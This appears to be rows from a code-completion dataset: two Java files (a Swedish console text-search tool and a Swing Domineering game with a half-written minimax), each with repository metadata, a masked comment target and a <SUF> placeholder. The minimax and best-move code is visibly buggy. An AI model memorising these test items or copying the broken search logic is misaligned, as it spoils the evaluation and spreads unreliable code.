System.out.println("\t\tResultatet av sökning på \" " + wordToLookFor + " \" ordet:");
// Calling the method that prints sorted result.
System.out.println(sortSearchResult(searchResult));
}
} else {
System.out.println(USER_MESSAGE.NO_TEXT_FILE_IS_OPENED);
}
}
/**
* It sort search result and return a string that displays to the user.
*
* @param result unsorted search result.
* @return a text that is readable by the user.
*/
private String sortSearchResult(int[][] result) {
StringBuffer resultText = new StringBuffer();
//Sorting the result
result = insertion(result);
// Creating the text that show the result.
for (int i = result.length - 1; i >= 0; i--) {
// Get file name that is related to search result.
String fileName = this.files.get(result[i][0]).getName();
// To skipping the result of the files that don't contain the word.
if (result[i][1] > 0) {
resultText.append("Sökordet finns " + result[i][1] + " gånger i " + fileName + " filen.\n");
} else {
break;
} //no need to continue because the result array is sorted.
}
if (resultText.toString().equals("")) {
return USER_MESSAGE.NO_FILE_INCLUDE_SEARCH_KEYWORD;
}
return resultText.toString();
}
/**
* It organizes the output of all opened files and prepare it to be readable by user.
*
* @return a string that hold the contents of all opened text files that stores inside {@link #files}.
*/
private String getContents() {
// In case the user has not opened a text file yet.
if (files.size() == 0) {
return USER_MESSAGE.NO_TEXT_FILE_IS_OPENED;
} else {
// Prepare the result that will be show to the user later.
StringBuffer resultToPrint = new StringBuffer();
for (TextFile file : files) {
resultToPrint.append("Filnamn: " + file.getName() + "\n>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<\n" + file.getContent() + "\n________________________________________\n");
}
return resultToPrint.toString();
}
}
/**
* It's like a wizard that helps the user with saving the contents of the opened files {@link #files}.
*/
private void saveFilesContents() {
// Checking if the user has opened a text file.
if (files.size() == 0) {
System.out.println(USER_MESSAGE.NO_TEXT_FILE_IS_OPENED);
} else {
System.out.println(USER_MESSAGE.FILE_WILL_BE_SAVED_ON_DESKTOP);
// Text file will be stored always in desktop "windows os"
String desktopPath = System.getProperty("user.home") + "\\Desktop\\";
StringBuffer fileName = new StringBuffer();
boolean readyToSave = false;
// Force the user to enter file name.
while (fileName.length() == 0) {
System.out.println(USER_MESSAGE.ASKING_TO_ENTER_FILE_NAME_THAT_WILL_BE_SAVED);
// store the name
fileName.replace(0, fileName.length(), new Scanner(System.in).nextLine());
if (fileName.length() == 0) {
System.out.println(USER_MESSAGE.MUST_ENTER_A_NAME);
}
}
// Checking if the file name has " .txt " at the end and added it in case it wasn't exist.
if (fileName.length() > 4) {
if (!fileName.substring(fileName.length() - 4).equals(".txt")) {
fileName.append(".txt");
}
} else {
fileName.append(".txt");
}
// Checking if the file already exist and let the user decide to overwrite the file or not.
boolean fileIsAlreadyExist = new File(desktopPath + fileName).exists();
if (!fileIsAlreadyExist) {
readyToSave = true;
} else {
System.out.println(USER_MESSAGE.FILE_ALREADY_EXIST);
if (new Scanner(System.in).nextLine().equals("y")) {
readyToSave = true;
}
}
// Calling the method that will save the file.
if (readyToSave) {
StringBuffer saveContent = new StringBuffer();
files.forEach((file) -> saveContent.append(file.getContent() + "\n\n"));
// Storing a message will be shown for the user.
String msg = TextFile.save(saveContent.toString(),desktopPath + fileName.toString());
System.out.println(msg);
} else {
System.out.println(USER_MESSAGE.FILE_HAS_NOT_BEEN_SAVED);
}
}
}
/**
* It includes some messages that will be shown for the user.
*/
public abstract static class USER_MESSAGE{
// Console menu.
private final static String CONSOLE_MENU =
"\n\t(o) Öppna en ny fil och addera innehållet." +
"\n\t(a) Skriva ut innehållet på alla öppnades filer." +
"\n\t(b) Sortera de samtliga befintliga filerna. OBS! Onödiga tecken försvinner efter sortering." +
"\n\t(c) Leta efter ett angivet ord." +
"\n\t(d) Spara aktuella resultat i en externa text fil." +
"\n\t(e) Avsluta Programmet." +
"\n\t\tInmata ditt val:";
/*Used inside start()*/
public final static String GREETING = "\t\t>> Hej och välkommen till vår text-motor. <<";
private final static String INVALID_SELECTION = "!!Ogiltigt val!! Välja gärna en giltig alternativ av lisatn nedan.";
public final static String GOOD_BYE = "Hejdå och välkommen åter!!";
/*Used inside openFile()*/
private final static String ASKING_TO_ENTER_FILE_PATH = "Ange filväg som tillhör den önskad textfilen du vill öppna:";
private final static String FILE_HAS_BEEN_OPENED_SUCCESSFULLY = "Det gick bra att öppna och addera filen.";
private final static String COULD_NOT_OPEN_FILE = "!!Det gick tyvärr inte att öppna filen.!! \nSe till att filens format är '.txt' och att filen redan finns.";
/*Used inside sortFilesContents()*/
private final static String TEXT_FILES_ARE_SORTED = "Innehållet är sorterat.\nSkriv ut innehållet för att se resultatet.";
public final static String NO_TEXT_FILE_IS_OPENED = "Du har inte öppnat någon textfil ännu!!";
/*Used inside searchInFiles()*/
private final static String RECOMMENDATION_TO_SORT_FILES_BEFORE_SEARCHING = "Jag rekomenderar att exekvera sökning på sorterad text för att få ett noggrannare resultat.Så sortera gärna texter först!!\nAnnars Jag kan fortfarande exekvera en sökning.\n Vill du fortsätta ändå? \n (y) ja, det vill jag. \n (Annars) Visa huvudmenyn.";
private final static String WARNING_ABOUT_SIGNS = "!! Notera att vissa tecken kan räknas som en bokstav av ordet ifall det inte fanns ett mellanslag mellan dem.\n\t\tExemplvis: (. , : ! ? ) osv";
private final static String SENSITIVE_CASE_SEARCH_NOTE = "!!Notera att sökningen är case-sensitive!!\nInmata gärna ordet du vill leta efter:";
private final static String NO_FILE_INCLUDE_SEARCH_KEYWORD = "\t\t!!Ingen textfil innehåller sökordet!!";
/*Used inside saveFilesContents()*/
private final static String FILE_WILL_BE_SAVED_ON_DESKTOP = "OBS! Filen kommer att lagras på skrivbordet ifall det har lyckats.";
private final static String ASKING_TO_ENTER_FILE_NAME_THAT_WILL_BE_SAVED = "Inmata ett namn på filen du vill spara!";
private final static String MUST_ENTER_A_NAME = "Du måste ange ett namn!";
private final static String FILE_ALREADY_EXIST = "Filen finns redan.\nVill du byta den aktuella filen?\n(y) Ja, det vill jag.\n (Annars) Visa huvudmenyn.";
private final static String FILE_HAS_NOT_BEEN_SAVED = "!! Textfilen har inte sparats. !!";
}
} | mohammad0-0ahmad/TextEngine | src/TextEngine/TextEngine.java | 3,984 | /*>>>> Member methods <<<<*/ | block_comment | nl | package TextEngine;
import java.io.File;
import java.util.ArrayList;
import java.util.Scanner;
/**
* It represents an object that can handle text files.
*/
public class TextEngine implements Sort {
/* Class variable */
/**
* The only instance of TextEngine object.
*/
private final static TextEngine instance = new TextEngine();
////////////////////////////////////////////////////
/*> Member variables <*/
/**
* Array list that hold all opened file during runtime.
*/
private final ArrayList<TextFile> files;
////////////////////////////////////////////////////
/*>> Constructor <<*/
/**
* The constructor of TextEngine class.
*/
private TextEngine() {
this.files = new ArrayList<>();
}
////////////////////////////////////////////////////
/*>>> Static methods <<<*/
/**
* It returns the TextEngine object.
* @return The instance of TextEngine Type. "Singleton"
*/
public static TextEngine getInstance() {
return instance;
}
////////////////////////////////////////////////////
/*>>>> Member methods<SUF>*/
/**
* It's a user interface in console that helps to select and execute a specific operation.
*/
public void start() {
System.out.print(USER_MESSAGE.GREETING);
Scanner userInput = new Scanner(System.in);
String userSelection = "0";
while (!userSelection.equals("e")) {
System.out.println(USER_MESSAGE.CONSOLE_MENU);
userSelection = userInput.nextLine();
switch (userSelection) {
// To open a text file and add it to files member variable.
case "o":
openFile();
break;
// To print the contents of the exist text files.
case "a":
System.out.println(getContents());
break;
// To sort the content of all opened text files.
case "b":
sortFilesContents();
break;
// To call the method that make a search inside all opened text files.
case "c":
searchInFiles();
break;
// To save the current result of the opened text files.
case "d":
saveFilesContents();
break;
// To exit the application.
case "e":
System.out.println(USER_MESSAGE.GOOD_BYE);
break;
// Printing an error message when user enter false options that is not exist in the main menu.
default:
System.out.println(USER_MESSAGE.INVALID_SELECTION);
}
}
}
/**
* It's like a wizard that helps the user with opening a text file and add it to {@link #files} member variable..
*/
private void openFile() {
System.out.println(USER_MESSAGE.ASKING_TO_ENTER_FILE_PATH );
TextFile temp = TextFile.open(new Scanner(System.in).nextLine());
if (temp != null) {
files.add(temp);
System.out.println(USER_MESSAGE.FILE_HAS_BEEN_OPENED_SUCCESSFULLY);
} else {
System.out.println(USER_MESSAGE.COULD_NOT_OPEN_FILE);
}
}
/**
* If the file-arrays size is more than 0, loop through the size of the file. And if the file isn't already sorted, call the 'sortContent'-method
*/
private void sortFilesContents() {
if (files.size() > 0) {
for (TextFile file : files) {
if (!file.isSorted()) {
file.sortContent();
}
}
System.out.println(USER_MESSAGE.TEXT_FILES_ARE_SORTED);
}else {
System.out.println(USER_MESSAGE.NO_TEXT_FILE_IS_OPENED);
}
}
/**
* It's like a wizard that helps the user with looking for a word inside text files {@link #files} member variable..
*/
private void searchInFiles() {
if (files.size() > 0) {
boolean filesContentsIsSorted = true, userDecision = false;
// Checking if every opened text file content is sorted be checking sorted member value.
for (TextFile file : files) {
if (!file.isSorted()) {
filesContentsIsSorted = false;
break;
}
}
// Let the user decide whether or not want to execute the searching in case contents is not sorted.
if (!filesContentsIsSorted) {
System.out.println(USER_MESSAGE.RECOMMENDATION_TO_SORT_FILES_BEFORE_SEARCHING);
if (new Scanner(System.in).nextLine().equals("y")) {
System.out.println(USER_MESSAGE.WARNING_ABOUT_SIGNS);
userDecision = true;
}
}
// Start searching.
if (filesContentsIsSorted || userDecision) {
System.out.println(USER_MESSAGE.SENSITIVE_CASE_SEARCH_NOTE);
// Word will be entered by user.
String wordToLookFor = new Scanner(System.in).nextLine();
// array that will hold the search result.
int[][] searchResult = new int[files.size()][2];
// Start searching file by file and save the result inside searchResult array.
for (int i = 0; i < files.size(); i++) {
searchResult[i][0] = i;
searchResult[i][1] = files.get(i).search(wordToLookFor);
}
System.out.println("\t\tResultatet av sökning på \" " + wordToLookFor + " \" ordet:");
// Calling the method that prints sorted result.
System.out.println(sortSearchResult(searchResult));
}
} else {
System.out.println(USER_MESSAGE.NO_TEXT_FILE_IS_OPENED);
}
}
/**
* It sort search result and return a string that displays to the user.
*
* @param result unsorted search result.
* @return a text that is readable by the user.
*/
private String sortSearchResult(int[][] result) {
StringBuffer resultText = new StringBuffer();
//Sorting the result
result = insertion(result);
// Creating the text that show the result.
for (int i = result.length - 1; i >= 0; i--) {
// Get file name that is related to search result.
String fileName = this.files.get(result[i][0]).getName();
// To skipping the result of the files that don't contain the word.
if (result[i][1] > 0) {
resultText.append("Sökordet finns " + result[i][1] + " gånger i " + fileName + " filen.\n");
} else {
break;
} //no need to continue because the result array is sorted.
}
if (resultText.toString().equals("")) {
return USER_MESSAGE.NO_FILE_INCLUDE_SEARCH_KEYWORD;
}
return resultText.toString();
}
/**
* It organizes the output of all opened files and prepare it to be readable by user.
*
* @return a string that hold the contents of all opened text files that stores inside {@link #files}.
*/
private String getContents() {
// In case the user has not opened a text file yet.
if (files.size() == 0) {
return USER_MESSAGE.NO_TEXT_FILE_IS_OPENED;
} else {
// Prepare the result that will be show to the user later.
StringBuffer resultToPrint = new StringBuffer();
for (TextFile file : files) {
resultToPrint.append("Filnamn: " + file.getName() + "\n>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<\n" + file.getContent() + "\n________________________________________\n");
}
return resultToPrint.toString();
}
}
/**
* It's like a wizard that helps the user with saving the contents of the opened files {@link #files}.
*/
private void saveFilesContents() {
// Checking if the user has opened a text file.
if (files.size() == 0) {
System.out.println(USER_MESSAGE.NO_TEXT_FILE_IS_OPENED);
} else {
System.out.println(USER_MESSAGE.FILE_WILL_BE_SAVED_ON_DESKTOP);
// Text file will be stored always in desktop "windows os"
String desktopPath = System.getProperty("user.home") + "\\Desktop\\";
StringBuffer fileName = new StringBuffer();
boolean readyToSave = false;
// Force the user to enter file name.
while (fileName.length() == 0) {
System.out.println(USER_MESSAGE.ASKING_TO_ENTER_FILE_NAME_THAT_WILL_BE_SAVED);
// store the name
fileName.replace(0, fileName.length(), new Scanner(System.in).nextLine());
if (fileName.length() == 0) {
System.out.println(USER_MESSAGE.MUST_ENTER_A_NAME);
}
}
// Checking if the file name has " .txt " at the end and added it in case it wasn't exist.
if (fileName.length() > 4) {
if (!fileName.substring(fileName.length() - 4).equals(".txt")) {
fileName.append(".txt");
}
} else {
fileName.append(".txt");
}
// Checking if the file already exist and let the user decide to overwrite the file or not.
boolean fileIsAlreadyExist = new File(desktopPath + fileName).exists();
if (!fileIsAlreadyExist) {
readyToSave = true;
} else {
System.out.println(USER_MESSAGE.FILE_ALREADY_EXIST);
if (new Scanner(System.in).nextLine().equals("y")) {
readyToSave = true;
}
}
// Calling the method that will save the file.
if (readyToSave) {
StringBuffer saveContent = new StringBuffer();
files.forEach((file) -> saveContent.append(file.getContent() + "\n\n"));
// Storing a message will be shown for the user.
String msg = TextFile.save(saveContent.toString(),desktopPath + fileName.toString());
System.out.println(msg);
} else {
System.out.println(USER_MESSAGE.FILE_HAS_NOT_BEEN_SAVED);
}
}
}
/**
* It includes some messages that will be shown for the user.
*/
public abstract static class USER_MESSAGE{
// Console menu.
private final static String CONSOLE_MENU =
"\n\t(o) Öppna en ny fil och addera innehållet." +
"\n\t(a) Skriva ut innehållet på alla öppnades filer." +
"\n\t(b) Sortera de samtliga befintliga filerna. OBS! Onödiga tecken försvinner efter sortering." +
"\n\t(c) Leta efter ett angivet ord." +
"\n\t(d) Spara aktuella resultat i en externa text fil." +
"\n\t(e) Avsluta Programmet." +
"\n\t\tInmata ditt val:";
/*Used inside start()*/
public final static String GREETING = "\t\t>> Hej och välkommen till vår text-motor. <<";
private final static String INVALID_SELECTION = "!!Ogiltigt val!! Välja gärna en giltig alternativ av lisatn nedan.";
public final static String GOOD_BYE = "Hejdå och välkommen åter!!";
/*Used inside openFile()*/
private final static String ASKING_TO_ENTER_FILE_PATH = "Ange filväg som tillhör den önskad textfilen du vill öppna:";
private final static String FILE_HAS_BEEN_OPENED_SUCCESSFULLY = "Det gick bra att öppna och addera filen.";
private final static String COULD_NOT_OPEN_FILE = "!!Det gick tyvärr inte att öppna filen.!! \nSe till att filens format är '.txt' och att filen redan finns.";
/*Used inside sortFilesContents()*/
private final static String TEXT_FILES_ARE_SORTED = "Innehållet är sorterat.\nSkriv ut innehållet för att se resultatet.";
public final static String NO_TEXT_FILE_IS_OPENED = "Du har inte öppnat någon textfil ännu!!";
/*Used inside searchInFiles()*/
private final static String RECOMMENDATION_TO_SORT_FILES_BEFORE_SEARCHING = "Jag rekomenderar att exekvera sökning på sorterad text för att få ett noggrannare resultat.Så sortera gärna texter först!!\nAnnars Jag kan fortfarande exekvera en sökning.\n Vill du fortsätta ändå? \n (y) ja, det vill jag. \n (Annars) Visa huvudmenyn.";
private final static String WARNING_ABOUT_SIGNS = "!! Notera att vissa tecken kan räknas som en bokstav av ordet ifall det inte fanns ett mellanslag mellan dem.\n\t\tExemplvis: (. , : ! ? ) osv";
private final static String SENSITIVE_CASE_SEARCH_NOTE = "!!Notera att sökningen är case-sensitive!!\nInmata gärna ordet du vill leta efter:";
private final static String NO_FILE_INCLUDE_SEARCH_KEYWORD = "\t\t!!Ingen textfil innehåller sökordet!!";
/*Used inside saveFilesContents()*/
private final static String FILE_WILL_BE_SAVED_ON_DESKTOP = "OBS! Filen kommer att lagras på skrivbordet ifall det har lyckats.";
private final static String ASKING_TO_ENTER_FILE_NAME_THAT_WILL_BE_SAVED = "Inmata ett namn på filen du vill spara!";
private final static String MUST_ENTER_A_NAME = "Du måste ange ett namn!";
private final static String FILE_ALREADY_EXIST = "Filen finns redan.\nVill du byta den aktuella filen?\n(y) Ja, det vill jag.\n (Annars) Visa huvudmenyn.";
private final static String FILE_HAS_NOT_BEEN_SAVED = "!! Textfilen har inte sparats. !!";
}
} |
31699_15 | package ui.swing;
import javax.swing.*;
import java.awt.*;
import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import java.util.*;
import java.util.List;
public class CelltPane extends JPanel {
private Color defaultBackground;
int row;
int col;
public boolean cliked;
private static TestPane testPane;
private CelltPane searchPane;
public static boolean hasWinner = false;
private static int counterVertical= 0 ;
private static int counterHorizontal= 0 ;
private static char role;// role 'v' or 'h'
public static boolean vertical =true ;
public static boolean horizontal =false;
// public static List<LinkedHashMap<Position,Position>> possiblesMovesVerticale;
// public static List<LinkedHashMap<Position,Position>> possiblesMovesHorizontal;
public static List<CelltPane> possiblesMovesVerticale;
public static List<CelltPane> possiblesMovesHorizontal;
public CelltPane(TestPane testPane,int row , int col , boolean cliked){
possiblesMovesVerticale=new ArrayList<>();
possiblesMovesHorizontal = new ArrayList<>();
this.col = col;
this.row = row;
CelltPane.testPane =testPane;
this.cliked=cliked;
role='v';
game();
}
//
public void game(){
initializeMouseListener();
}
public void initializeMouseListener() {
addMouseListener(new MouseAdapter() {
@Override
public void mouseClicked(MouseEvent e) {
super.mouseClicked(e);
defaultBackground = getBackground();
//searchPane = searchAdj(row,col);
System.out.println("row : "+row+" , col : "+col);
if(role=='v'){
if(!isCliked() && !searchPane.isCliked()){
searchPane.cliked=true;
setCliked(true);
searchPane.setBackground(Color.blue);
searchPane.cliked=true;
setCliked(true);
setBackground(Color.blue);
role='h';
}else{
System.out.println("impossible de colorer");
}
}else{
//min max
if(!isCliked() && !searchPane.isCliked()){
searchPane.cliked=true;
setCliked(true);
searchPane.setBackground(Color.GREEN);
searchPane.cliked=true;
setCliked(true);
setBackground(Color.GREEN);
role='v';
}else{
System.out.println("impossible de colorer");
}
}
}
// minmax();
@Override
public void mouseEntered(MouseEvent e) {
super.mouseEntered(e);
defaultBackground = getBackground();
System.out.println(defaultBackground);
if(counterVertical==0 || counterHorizontal==0){
checkWiner();
}
if(role=='v'){
searchPane = searchAdjVertical(row,col);
// chercher board adj vertical
if(searchPane==null){
System.out.println("perdooonaaa is clicked");
}else{
if(!isCliked() && !searchPane.isCliked()){
searchPane.setBackground(Color.blue);
setBackground(Color.blue);
} else if (!isCliked() && searchPane.isCliked()) {
System.out.println("impossible de colorer");
} else {
System.out.println("impossible de colorer");
}
}
// int res = minmax(testPane,10,false);
// System.out.println("resultttttttttttt : "+res);
//minimaxMove();
}else {
searchPane = searchAdjHorizontal(row,col); // chercher board adj horizontal
if(searchPane==null){
System.out.println("perdooonaaa is clicked");
}else{
if(!isCliked() && !searchPane.isCliked()){
searchPane.setBackground(Color.GREEN);
setBackground(Color.GREEN);
}else{
System.out.println("impossible de colorer");
}
}
}
}
@Override
public void mouseExited(MouseEvent e) {
super.mouseExited(e);
if(searchPane==null){
System.out.println("on ne peut pas exit car nous avons pas entred !");
}else{
if(!isCliked() && !searchPane.isCliked()){
searchPane.setBackground(defaultBackground);
setBackground(defaultBackground);
}
}
}
});
}
@Override
public Dimension getPreferredSize(){
return new Dimension(100,100);
}
/**
* searchAdjVertical
* */
public static CelltPane searchAdjVertical(int row, int col){
Map<CelltPane,Position> map = TestPane.getMapCellPan();
// gestion Exceptions de manier statique :
for (Map.Entry<CelltPane, Position> entry : map.entrySet()) {
// chercher la valeur adjacent vertical +1
if(entry.getValue().getX()==row+1 && entry.getValue().getY()==col){
if(!entry.getKey().isCliked()){
System.out.println("@@@@@ Valeur x: " + entry.getValue().getX()+" Valeur Y: "+entry.getValue().getY());
return entry.getKey();
}
/**
else {
// si la cellul +1 isCliked on va verifier la cellul -1
for (Map.Entry<CelltPane, Position> item : map.entrySet()){
if(item.getValue().getX()==row-1 && item.getValue().getY()==col){
if(!item.getKey().isCliked()){
//counterVertical--;
return item.getKey();
}
}
}
}*/
}
}
return null;
}
public static CelltPane searchAdjHorizontal(int row, int col){
Map<CelltPane,Position> map = TestPane.getMapCellPan();
for (Map.Entry<CelltPane, Position> entry : map.entrySet()) {
if(entry.getValue().getX()==row && entry.getValue().getY()==col+1){
if(!entry.getKey().isCliked()){
System.out.println("@@@@@ Valeur x: " + entry.getValue().getX()+" Valeur Y: "+entry.getValue().getY());
return entry.getKey();
}
/**
else{
for (Map.Entry<CelltPane, Position> item : map.entrySet()){
if(item.getValue().getX()==row && item.getValue().getY()==col-1){
if(!item.getKey().isCliked()){
counterHorizontal--;
return item.getKey();
}
}
}
}*/
}
}
return null;
}
public static void getPossibleMouvesVertical(){
possiblesMovesVerticale.clear();
counterVertical=0;
int c = 0;
Map<CelltPane,Position> map = TestPane.getMapCellPan();
for (Map.Entry<CelltPane, Position> entry : map.entrySet()) {
if(!entry.getKey().cliked){
if(searchAdjVertical(entry.getValue().getX(),entry.getValue().getY())!=null){
c++;
CelltPane adjacentVerticale = searchAdjVertical(entry.getValue().getX(),entry.getValue().getY());
System.out.println(entry.getValue().getX()+" , "+entry.getValue().getY());
System.out.println(adjacentVerticale.row+" , "+adjacentVerticale.col);
possiblesMovesVerticale.add(entry.getKey());
//entry.getKey().setBackground(Color.red);
//adjacentVerticale.setBackground(Color.yellow);
System.out.println("=======================: "+c);
counterVertical++;
}
}
}
}
public static void getPossibleMouvesHorizontal(){
possiblesMovesHorizontal.clear();
counterHorizontal=0;
Map<CelltPane,Position> map = TestPane.getMapCellPan();
for (Map.Entry<CelltPane, Position> entry : map.entrySet()) {
if(!entry.getKey().cliked){
if(searchAdjHorizontal(entry.getValue().getX(),entry.getValue().getY())!=null){
CelltPane adjacentHorizontal = searchAdjHorizontal(entry.getValue().getX(),entry.getValue().getY());
possiblesMovesHorizontal.add(entry.getKey());
counterHorizontal++;
}
}
}
}
public static int checkWiner(){
int cellVide = 0;
// 2 : v wen, -2 : h wen , 0 , Tie 1
Map<CelltPane,Position> map = TestPane.getMapCellPan();
if(counterHorizontal==0 && counterVertical==0){
for (Map.Entry<CelltPane, Position> entry : map.entrySet()) {
if(!entry.getKey().isCliked()){
cellVide++;
}
}
if(cellVide==0){
System.out.println("il n'y a pas de gagnant");
return 0;
}else{
if(role=='v'){
System.out.println("Horizontal gagnant !");
return 2;
}
else if (role=='h'){
System.out.println("Vertical gagnant !");
return -2;
}
}
} else if (counterHorizontal!=0 && counterVertical==0) {
System.out.println("Vertical gagnant !");
// h is wen
return -2;
} else if (counterHorizontal==0 && counterVertical!=0) {
System.out.println("Vertical gagnant !");
// v is wen
return 2;
}
return 0;
}
public void setCliked(boolean cliked) {
this.cliked = cliked;
getPossibleMouvesHorizontal();
getPossibleMouvesVertical();
System.out.println("counter horizontal -> ---- "+counterHorizontal);
System.out.println("counter vertical -> ---- "+counterVertical);
}
public boolean isCliked() {
return cliked;
}
// MINIMAX
static int minmax(TestPane pane, int depth, boolean isMaximizing) {
int result = checkWiner();
if (result != 1 || depth == 10) {
return result;
}
if (isMaximizing) {
int maxScore = Integer.MIN_VALUE;
getPossibleMouvesVertical();
List<CelltPane> listVertical = possiblesMovesVerticale;
Iterator<CelltPane> itr = listVertical.listIterator();
while (itr.hasNext()){
if(!itr.next().isCliked()){
CelltPane adjVertecal=searchAdjVertical(itr.next().row,itr.next().col);
adjVertecal.setCliked(true);
itr.next().setCliked(true);
int score =minmax(pane,depth+1,false);
itr.next().setCliked(false);
adjVertecal.setCliked(false);
maxScore = Math.max(score, maxScore);
}
}
return maxScore;
} else {
int minScore = Integer.MAX_VALUE;
getPossibleMouvesHorizontal();
List<CelltPane> listVertical = possiblesMovesHorizontal;
Iterator<CelltPane> itr = listVertical.listIterator();
while (itr.hasNext()){
if(!itr.next().isCliked()){
CelltPane adjVertecal=searchAdjHorizontal(itr.next().row,itr.next().col);
adjVertecal.setCliked(true);
itr.next().setCliked(true);
int score =minmax(pane,depth+1,true);
itr.next().setCliked(false);
adjVertecal.setCliked(false);
minScore = Math.min(score, minScore);
}
}
return minScore;
}
}
static int[] findBestMove(TestPane pane) {
int bestVal = Integer.MIN_VALUE;
int[] bestMove = {-1, -1};
for (int i = 0; i < 3; i++) {
for (int j = 0; j < 3; j++) {
// logique de max
getPossibleMouvesVertical();
List<CelltPane> listVertical = possiblesMovesVerticale;
Iterator<CelltPane> itr = listVertical.listIterator();
while (itr.hasNext()){
if(!itr.next().isCliked()){
CelltPane adjVertecal=searchAdjVertical(itr.next().row,itr.next().col);
adjVertecal.setCliked(true);
itr.next().setCliked(true);
int moveVal =minmax(pane,0,false);
itr.next().setCliked(false);
adjVertecal.setCliked(false);
if(moveVal > bestVal){
bestMove[0]=itr.next().row;
bestMove[1]=itr.next().col;
}
}
}
//=============
}
}
return bestMove;
}
}
| mohammedelbakkali/Domineering | src/ui/swing/CelltPane.java | 4,005 | // v is wen | line_comment | nl | package ui.swing;
import javax.swing.*;
import java.awt.*;
import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import java.util.*;
import java.util.List;
public class CelltPane extends JPanel {
private Color defaultBackground;
int row;
int col;
public boolean cliked;
private static TestPane testPane;
private CelltPane searchPane;
public static boolean hasWinner = false;
private static int counterVertical= 0 ;
private static int counterHorizontal= 0 ;
private static char role;// role 'v' or 'h'
public static boolean vertical =true ;
public static boolean horizontal =false;
// public static List<LinkedHashMap<Position,Position>> possiblesMovesVerticale;
// public static List<LinkedHashMap<Position,Position>> possiblesMovesHorizontal;
public static List<CelltPane> possiblesMovesVerticale;
public static List<CelltPane> possiblesMovesHorizontal;
public CelltPane(TestPane testPane,int row , int col , boolean cliked){
possiblesMovesVerticale=new ArrayList<>();
possiblesMovesHorizontal = new ArrayList<>();
this.col = col;
this.row = row;
CelltPane.testPane =testPane;
this.cliked=cliked;
role='v';
game();
}
//
public void game(){
initializeMouseListener();
}
public void initializeMouseListener() {
addMouseListener(new MouseAdapter() {
@Override
public void mouseClicked(MouseEvent e) {
super.mouseClicked(e);
defaultBackground = getBackground();
//searchPane = searchAdj(row,col);
System.out.println("row : "+row+" , col : "+col);
if(role=='v'){
if(!isCliked() && !searchPane.isCliked()){
searchPane.cliked=true;
setCliked(true);
searchPane.setBackground(Color.blue);
searchPane.cliked=true;
setCliked(true);
setBackground(Color.blue);
role='h';
}else{
System.out.println("impossible de colorer");
}
}else{
//min max
if(!isCliked() && !searchPane.isCliked()){
searchPane.cliked=true;
setCliked(true);
searchPane.setBackground(Color.GREEN);
searchPane.cliked=true;
setCliked(true);
setBackground(Color.GREEN);
role='v';
}else{
System.out.println("impossible de colorer");
}
}
}
// minmax();
@Override
public void mouseEntered(MouseEvent e) {
super.mouseEntered(e);
defaultBackground = getBackground();
System.out.println(defaultBackground);
if(counterVertical==0 || counterHorizontal==0){
checkWiner();
}
if(role=='v'){
searchPane = searchAdjVertical(row,col);
// chercher board adj vertical
if(searchPane==null){
System.out.println("perdooonaaa is clicked");
}else{
if(!isCliked() && !searchPane.isCliked()){
searchPane.setBackground(Color.blue);
setBackground(Color.blue);
} else if (!isCliked() && searchPane.isCliked()) {
System.out.println("impossible de colorer");
} else {
System.out.println("impossible de colorer");
}
}
// int res = minmax(testPane,10,false);
// System.out.println("resultttttttttttt : "+res);
//minimaxMove();
}else {
searchPane = searchAdjHorizontal(row,col); // chercher board adj horizontal
if(searchPane==null){
System.out.println("perdooonaaa is clicked");
}else{
if(!isCliked() && !searchPane.isCliked()){
searchPane.setBackground(Color.GREEN);
setBackground(Color.GREEN);
}else{
System.out.println("impossible de colorer");
}
}
}
}
@Override
public void mouseExited(MouseEvent e) {
super.mouseExited(e);
if(searchPane==null){
System.out.println("on ne peut pas exit car nous avons pas entred !");
}else{
if(!isCliked() && !searchPane.isCliked()){
searchPane.setBackground(defaultBackground);
setBackground(defaultBackground);
}
}
}
});
}
@Override
public Dimension getPreferredSize(){
return new Dimension(100,100);
}
/**
* searchAdjVertical
* */
public static CelltPane searchAdjVertical(int row, int col){
Map<CelltPane,Position> map = TestPane.getMapCellPan();
// gestion Exceptions de manier statique :
for (Map.Entry<CelltPane, Position> entry : map.entrySet()) {
// chercher la valeur adjacent vertical +1
if(entry.getValue().getX()==row+1 && entry.getValue().getY()==col){
if(!entry.getKey().isCliked()){
System.out.println("@@@@@ Valeur x: " + entry.getValue().getX()+" Valeur Y: "+entry.getValue().getY());
return entry.getKey();
}
/**
else {
// si la cellul +1 isCliked on va verifier la cellul -1
for (Map.Entry<CelltPane, Position> item : map.entrySet()){
if(item.getValue().getX()==row-1 && item.getValue().getY()==col){
if(!item.getKey().isCliked()){
//counterVertical--;
return item.getKey();
}
}
}
}*/
}
}
return null;
}
public static CelltPane searchAdjHorizontal(int row, int col){
Map<CelltPane,Position> map = TestPane.getMapCellPan();
for (Map.Entry<CelltPane, Position> entry : map.entrySet()) {
if(entry.getValue().getX()==row && entry.getValue().getY()==col+1){
if(!entry.getKey().isCliked()){
System.out.println("@@@@@ Valeur x: " + entry.getValue().getX()+" Valeur Y: "+entry.getValue().getY());
return entry.getKey();
}
/**
else{
for (Map.Entry<CelltPane, Position> item : map.entrySet()){
if(item.getValue().getX()==row && item.getValue().getY()==col-1){
if(!item.getKey().isCliked()){
counterHorizontal--;
return item.getKey();
}
}
}
}*/
}
}
return null;
}
public static void getPossibleMouvesVertical(){
possiblesMovesVerticale.clear();
counterVertical=0;
int c = 0;
Map<CelltPane,Position> map = TestPane.getMapCellPan();
for (Map.Entry<CelltPane, Position> entry : map.entrySet()) {
if(!entry.getKey().cliked){
if(searchAdjVertical(entry.getValue().getX(),entry.getValue().getY())!=null){
c++;
CelltPane adjacentVerticale = searchAdjVertical(entry.getValue().getX(),entry.getValue().getY());
System.out.println(entry.getValue().getX()+" , "+entry.getValue().getY());
System.out.println(adjacentVerticale.row+" , "+adjacentVerticale.col);
possiblesMovesVerticale.add(entry.getKey());
//entry.getKey().setBackground(Color.red);
//adjacentVerticale.setBackground(Color.yellow);
System.out.println("=======================: "+c);
counterVertical++;
}
}
}
}
public static void getPossibleMouvesHorizontal(){
possiblesMovesHorizontal.clear();
counterHorizontal=0;
Map<CelltPane,Position> map = TestPane.getMapCellPan();
for (Map.Entry<CelltPane, Position> entry : map.entrySet()) {
if(!entry.getKey().cliked){
if(searchAdjHorizontal(entry.getValue().getX(),entry.getValue().getY())!=null){
